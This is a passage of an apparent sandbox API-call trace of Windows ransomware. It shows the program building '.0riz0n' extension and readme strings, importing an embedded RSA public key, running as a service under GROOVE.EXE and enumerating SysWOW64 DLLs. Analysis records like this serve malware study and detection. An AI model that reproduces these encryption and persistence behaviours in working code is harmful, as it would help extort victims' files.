MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9dc0d8, cbMultiByte=7, lpWideCharStr=0x9ddeb0, cchWideChar=7 | out: lpWideCharStr="AppData") returned 7 [0206.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9dc288, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0206.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9dc288, cbMultiByte=11, lpWideCharStr=0x9ddf38, cchWideChar=11 | out: lpWideCharStr="ProgramData") returned 11 [0206.138] ExpandEnvironmentStringsA (in: lpSrc="%ProgramData%", lpDst=0x8b2850, nSize=0x2800 | out: lpDst="C:\\ProgramData") returned 0xf [0206.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8b2850, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0206.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8b2850, cbMultiByte=14, lpWideCharStr=0x9ddfc0, cchWideChar=14 | out: lpWideCharStr="C:\\ProgramData") returned 14 [0206.138] ExpandEnvironmentStringsA (in: lpSrc="%windir%", lpDst=0x8b2850, nSize=0x2800 | out: lpDst="C:\\Windows") returned 0xb [0206.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8b2850, cbMultiByte=10, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0206.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8b2850, cbMultiByte=10, lpWideCharStr=0x9de048, cchWideChar=10 | out: lpWideCharStr="C:\\Windows") returned 10 [0206.138] ExpandEnvironmentStringsA (in: lpSrc="%temp%", lpDst=0x8b2850, nSize=0x2800 | out: lpDst="C:\\Windows\\TEMP") returned 0x10 [0206.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8b2850, cbMultiByte=15, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 15 [0206.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8b2850, cbMultiByte=15, lpWideCharStr=0x9de0d0, cchWideChar=15 | out: lpWideCharStr="C:\\Windows\\TEMP") returned 15 [0206.138] ExpandEnvironmentStringsA (in: lpSrc="%AppData%", lpDst=0x8b2850, nSize=0x2800 | out: lpDst="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 0x39 [0206.138] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8b2850, cbMultiByte=56, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 56 [0206.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8b2850, cbMultiByte=56, lpWideCharStr=0x9de158, cchWideChar=56 | out: lpWideCharStr="C:\\Windows\\system32\\config\\systemprofile\\AppData\\Roaming") returned 56 [0206.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8b5058, cbMultiByte=7, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 7 [0206.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8b5058, cbMultiByte=7, lpWideCharStr=0x9de1e0, cchWideChar=7 | out: lpWideCharStr=".0riz0n") returned 7 [0206.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8b5058, cbMultiByte=14, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 14 [0206.139] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x8b5058, cbMultiByte=14, lpWideCharStr=0x9de268, cchWideChar=14 | out: lpWideCharStr=".0riz0n_readme") returned 14 [0206.139] WaitForSingleObject (hHandle=0xa0, dwMilliseconds=0xffffffff) returned 0x0 [0206.139] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x0, pcbBinary=0x3efa90, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x0, pcbBinary=0x3efa90, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0206.139] CryptStringToBinaryA (in: pszString="MIICIjANBgkqhkiG9w0BAQEFAAOCAg8AMIICCgKCAgEA0bHYo0dFAz3ykvvu0eMN\r\nM+TUym+ESdt2N0RC4MAqcA5TC00NdGq6WAcdGCxbVbrcChaSxzYwtcyLMbtqwbbW\r\nlewWYBAGPX7s6GDh2qWA6iOojNLGh5cpVz9v6Wst5p/v5ka6ocsS7ik0KVOGSBbT\r\n97Lia3dEt/8qACPM0yf2WNZ8EbJm1mmpYHrUHMqDqRFeSueCMisGA4g51cLO+5Ov\r\nz/VanHMTT1ktG+VcuXVmbaGsL7gjevLX8nNxK9l519irJ5ogH2o8izeCpVgjWP9o\r\nSQngzLq+4KPEwgp7DKcsq72XHbhxYo24jHJKyXDxsTub7b/W5cuJDurP+HmeV7Wz\r\nyp7GiZ/HCMdrI2Xmw9WLtinw4tRwDiAZjS2KxrbT4zIaWmf4hNDE5OC4VkuPznsy\r\nVyvuZV35ruECflNx7f5Yzg0KqnSx1BvuwUKkot5XbWEKI+8QjlFWa3EUYJ0hioBO\r\nM1tco2yIzaR/2A7hreFjHsZj2ndJiTDM9n40zEz69ZMMwsec/YX0aN9w2ZntOd9K\r\nLfA0iHci+YN4WzMjBJVDhPg591HM+lMRy+yaJ7xaxrnmQp4pg6LTvZ2ur2lXVYPT\r\nFhaTgawBjxgnss8VXct7ixajvlnk43rHbvVga6d7cUYuy3RZdnEwFh4W1VY10/fQ\r\nG0NRh8f7KZsGYuqnsuySNi8CAwEAAQ==\r\n", cchString=0x0, dwFlags=0x1, pbBinary=0x8b7cf8, pcbBinary=0x3efa90, pdwSkip=0x0, pdwFlags=0x0 | out: pbBinary=0x8b7cf8, pcbBinary=0x3efa90, pdwSkip=0x0, pdwFlags=0x0) returned 1 [0206.140] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x8b7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x0, pcbStructInfo=0x3efa90 | out: pvStructInfo=0x0, pcbStructInfo=0x3efa90) returned 1 [0206.146] CryptDecodeObject (in: dwCertEncodingType=0x10001, lpszStructType=0x8, pbEncoded=0x8b7cf8, cbEncoded=0x226, dwFlags=0x0, pvStructInfo=0x8b7f40, pcbStructInfo=0x3efa90 | out: pvStructInfo=0x8b7f40, pcbStructInfo=0x3efa90) returned 1 [0206.146] CryptImportPublicKeyInfo (in: hCryptProv=0x7cdd58, dwCertEncodingType=0x10001, pInfo=0x8b7f40*(Algorithm.pszObjId="1.2.840.113549.1.1.1", Algorithm.Parameters.cbData=0x2, Algorithm.Parameters.pbData=0x8b7f70*, PublicKey.cbData=0x20e, PublicKey.pbData=0x8b7f78*, PublicKey.cUnusedBits=0x0), phKey=0x3efa94 | out: phKey=0x3efa94*=0x7d2538) returned 1 [0206.147] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b7f40) returned 1 [0206.147] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b7cf8) returned 1 [0206.147] ReleaseMutex (hMutex=0xa0) returned 1 [0206.147] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b5058) returned 1 [0206.147] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x2800) returned 0x8b5058 [0206.147] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc900 [0206.147] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc900) returned 1 [0206.147] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b5058) returned 1 [0206.147] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x2800) returned 0x8b5058 [0206.147] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc900 [0206.147] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc900) returned 1 [0206.147] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc900 [0206.147] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9dc900, cbMultiByte=9, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0206.147] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de1e0 [0206.147] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9dc900, cbMultiByte=9, lpWideCharStr=0x9de1e0, cchWideChar=9 | out: lpWideCharStr="DISK.FULL") returned 9 [0206.147] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de268 [0206.148] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de1e0) returned 1 [0206.148] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de268) returned 1 [0206.148] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc900) returned 1 [0206.148] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b5058) returned 1 [0206.148] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b2850) returned 1 [0206.148] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc0d8) returned 1 [0206.148] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd258) returned 1 [0206.148] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc240) returned 1 [0206.148] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd268) returned 1 [0206.148] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.148] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd278) returned 1 [0206.148] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.148] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd288) returned 1 [0206.148] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dd5e8) returned 1 [0206.148] Wow64RevertWow64FsRedirection (OlValue=0x0) returned 1 [0206.148] StartServiceCtrlDispatcherW (lpServiceTable=0x3efb5c*(lpServiceName="", lpServiceProc=0xb0d040)) [0212.861] SetServiceStatus (hServiceStatus=0x7ce718, lpServiceStatus=0x3efa5c*(dwServiceType=0x10, dwCurrentState=0x3, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 Thread: id = 858 os_tid = 0x6fc Thread: id = 859 os_tid = 0x124 Thread: id = 860 os_tid = 0x248 Thread: id = 861 os_tid = 0x704 [0206.203] RegisterServiceCtrlHandlerW (lpServiceName="", lpHandlerProc=0xb0ce51) returned 0x7ce718 [0206.203] SetServiceStatus (hServiceStatus=0x7ce718, lpServiceStatus=0x1affad0*(dwServiceType=0x10, dwCurrentState=0x4, dwControlsAccepted=0x7, dwWin32ExitCode=0x0, dwServiceSpecificExitCode=0x0, dwCheckPoint=0x0, dwWaitHint=0x0)) returned 1 [0206.247] GetCommandLineW () returned="\"C:\\Program Files\\Microsoft Office\\Office14\\GROOVE.EXE\"" [0206.247] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de268 [0206.247] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x5c) returned 0x9ddd28 [0206.247] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de1e0 [0206.247] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de2f0 [0206.247] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de378 [0206.247] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de400 [0206.247] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de488 [0206.247] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de510 [0206.247] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de598 [0206.248] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de620 [0206.248] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de6a8 [0206.248] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de730 [0206.248] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de7b8 [0206.248] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x100) returned 0x8b7cf8 [0206.248] GetSystemWow64DirectoryW (in: lpBuffer=0x8b7cf8, uSize=0x40 | out: lpBuffer="C:\\Windows\\SysWOW64") returned 0x13 [0206.248] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x8b7cf8) returned 1 [0206.248] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de840 [0206.248] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de840) returned 1 [0206.248] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de840 [0206.248] FindFirstFileExW (in: lpFileName="C:\\Windows\\SysWOW64\\\\*.dll", fInfoLevelId=0x1, lpFindFileData=0x1aff82c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x1aff82c) returned 0x7cfed0 [0206.248] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.248] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0206.248] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.248] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AACLIENT.DLL", cchWideChar=12, lpMultiByteStr=0x9dc288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AACLIENT.DLL", lpUsedDefaultChar=0x0) returned 12 [0206.248] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.248] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.248] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.248] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.248] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.248] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93cbbe2a, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x93cbbe2a, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x93d080eb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x38e200, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="accessibilitycpl.dll", cAlternateFileName="")) returned 1 [0206.251] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.251] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0206.251] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCESSIBILITYCPL.DLL", cchWideChar=20, lpMultiByteStr=0x9dc120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCESSIBILITYCPL.DLL", lpUsedDefaultChar=0x0) returned 20 [0206.251] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.251] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.251] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.251] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.251] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.251] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x89c04678, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x89c04678, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0xf0e28ef0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x9a00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="ACCTRES.dll", cAlternateFileName="")) returned 1 [0206.251] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.251] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.251] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.251] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACCTRES.DLL", cchWideChar=11, lpMultiByteStr=0x9dc288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACCTRES.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.252] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.252] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.252] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.252] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.252] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.252] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10f51da3, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x10f51da3, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="acledit.dll", cAlternateFileName="")) returned 1 [0206.252] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.252] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.252] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLEDIT.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLEDIT.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.252] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.252] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.252] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.252] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.252] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.252] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d698b07, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x7d698b07, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7d217650, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1ea00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="aclui.dll", cAlternateFileName="")) returned 1 [0206.252] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.252] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0206.252] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACLUI.DLL", cchWideChar=9, lpMultiByteStr=0x9dc288, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACLUI.DLL", lpUsedDefaultChar=0x0) returned 9 [0206.252] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.252] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.252] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.252] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.252] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.252] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d3bd2e0, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d3bd2e0, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d3bd2e0, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb200, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="acppage.dll", cAlternateFileName="")) returned 1 [0206.252] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.252] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0206.252] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc120 [0206.252] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACPPAGE.DLL", cchWideChar=11, lpMultiByteStr=0x9dc120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ACPPAGE.DLL", lpUsedDefaultChar=0x0) returned 11 [0206.252] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 [0206.252] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc120) returned 1 [0206.252] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9dc288) returned 1 [0206.253] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de950) returned 1 [0206.253] RtlFreeHeap (HeapHandle=0x9d0000, Flags=0x0, BaseAddress=0x9de8c8) returned 1 [0206.253] FindNextFileW (in: hFindFile=0x7cfed0, lpFindFileData=0x1aff82c | out: lpFindFileData=0x1aff82c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb3c37918, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb3c37918, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb3c5da79, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5c00, dwReserved0=0x7d5b00, dwReserved1=0x0, cFileName="ActionCenter.dll", cAlternateFileName="")) returned 1 [0206.253] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de8c8 [0206.253] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x80) returned 0x9de950 [0206.253] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ACTIONCENTER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0206.253] RtlAllocateHeap (HeapHandle=0x9d0000, Flags=0x8, Size=0x40) returned 0x9dc288 